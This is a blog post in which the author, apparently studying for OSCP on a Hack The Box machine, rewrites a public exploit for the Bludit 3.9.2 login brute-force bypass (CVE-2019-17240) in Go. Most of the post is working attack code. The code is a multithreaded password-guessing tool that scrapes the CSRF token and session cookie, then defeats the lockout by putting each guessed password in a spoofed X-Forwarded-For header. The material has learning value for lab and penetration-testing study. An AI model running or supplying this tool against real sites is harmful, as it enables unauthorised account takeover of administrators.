Bludit 3.9.2 - Auth Bruteforce Bypass CVE-2019-17240

Spyx · June 14, 2021

When self study for OSCP certification,I stumble upon HTB machine that have CVE-2019-17420 vulnerability. I look for public exploit and there was one written in python. As challenge for me self was to recreate this exploit in golang. So lets get started.

Beginning of our script contain imported packages. I decide not to use any third-party packages.

func main() {
	var passwd_file string
	var username string
	var hostname string
	var thread int
	flag.StringVar(&passwd_file, "p", "", "Password file")
	flag.StringVar(&username, "u", "", "Enter username")
	flag.StringVar(&hostname, "l", "", "Hostname eg... http://127.0.0.1/admin/login.php")
	flag.IntVar(&thread, "c", 5, "Threads (default 5)")

	flag.Parse()

	passwords, _ := os.Open(passwd_file)

	scanner := bufio.NewScanner(passwords)
	check_password := make(chan string)
	var wg sync.WaitGroup

	totalRequests := 0
	for i := 0; i < thread; i++ {
		wg.Add(1)
		go func() {
            < OUR IMPORTANT CODE HERE >
		}()
	}

	for scanner.Scan() {
		passwd := scanner.Text()
		check_password <- passwd
	}
	close(check_password)
	wg.Wait()
	if err := scanner.Err(); err != nil {
		log.Fatal(err)
	}

}

At beginning of main function are declared our flags. Location of password file, username, full hostname path to login page and threads. I middle of our screen there is go-routine which working on our logic of exploit. Bottom of script will read files line by line and submit it our go-routine to process.

Logic of our file is here

go func() {
	for pwd := range check_password {
		resp, err := http.Get(hostname)
		if err != nil {
			log.Fatalln(err)
		}
		body, err := ioutil.ReadAll(resp.Body)
		if err != nil {
				log.Fatalln(err)
		}
		sb := string(body)
		re := regexp.MustCompile(`input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="(.*?)"`)
		rs := re.FindStringSubmatch(sb)

		cookie_all := string(resp.Header["Set-Cookie"][0])
		cookie := strings.Split(cookie_all, ";")

		data := url.Values{}
		data.Set("username", username)
		data.Set("password", pwd)
		data.Set("tokenCSRF", rs[1])

		client := &http.Client{
			CheckRedirect: func(req *http.Request, via []*http.Request) error {
				return http.ErrUseLastResponse
			},
		}

		req, err := http.NewRequest("POST", hostname, strings.NewReader(data.Encode()))
		if err != nil {
			log.Fatalln(err)
		}
		req.Header.Add("Content-Type", "application/x-www-form-urlencoded")
		req.Header.Add("Content-Lenght", strconv.Itoa(len(data.Encode())))
		req.Header.Add("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
		req.Header.Add("Referer", hostname)
		req.Header.Add("X-Forwarded-For", pwd)
		req.Header.Add("Cookie", cookie[0])

		res, err := client.Do(req)
		if err != nil {
			log.Fatalln(err)
		}

		if res.StatusCode == 200 {
			totalRequests++
			if totalRequests%10 == 0 {
				fmt.Printf("Total requests sent: %d \n", totalRequests)
			}
		} else if res.StatusCode == 301 && res.Header["Location"][0] == "/admin/dashboard" {
			fmt.Printf("Total requests sent: %d \n", totalRequests)
			fmt.Printf("==========Password Cracked=============")
			fmt.Printf("Password: %s", pwd)
			os.Exit(0)
			break
		} else {
			log.Println("NO IDEA")
		}
	}
	wg.Done()
}()

My go-routine start with accepting string stored in pwd variable which is password I will be testing. At first I did GET request to our victim machine. I need it for 2 reasons. One is cookie BLUDIT-KEY which is changes everytime with new GET request.

Without this cookie we cannot authenticate. Second is CSRF token.

Go have module called http. This this module I was able to get cookie from header of response and csrf token from its body. CSRF token was little tricky as it was not that easy as with python. Had to use some woodo regex magic… thank you google and stackoverflow :)

Last thing was to create POST request. Http module has function for it called NewRequest where you can specify your method (GET, POST, PUT…) url of victim and url encoded payload. We need to add some headers as this exploit it required. We also need to supply our cookie.As this NewRequest need to be somehow submitted there is Cliet for it. Problem is with login page when you get authenticate you are usually redirected via 301 and following 200 OK status code. Thats why I keep track of last status code there. Well with stackoverflow help a little..

Last section is simple comparison is you been redirected and if location to redirection is admin/dashboard which usually sign of successful login.

Full source can be found on mt github here

I hope you enjoy reading it.

Twitter, Facebook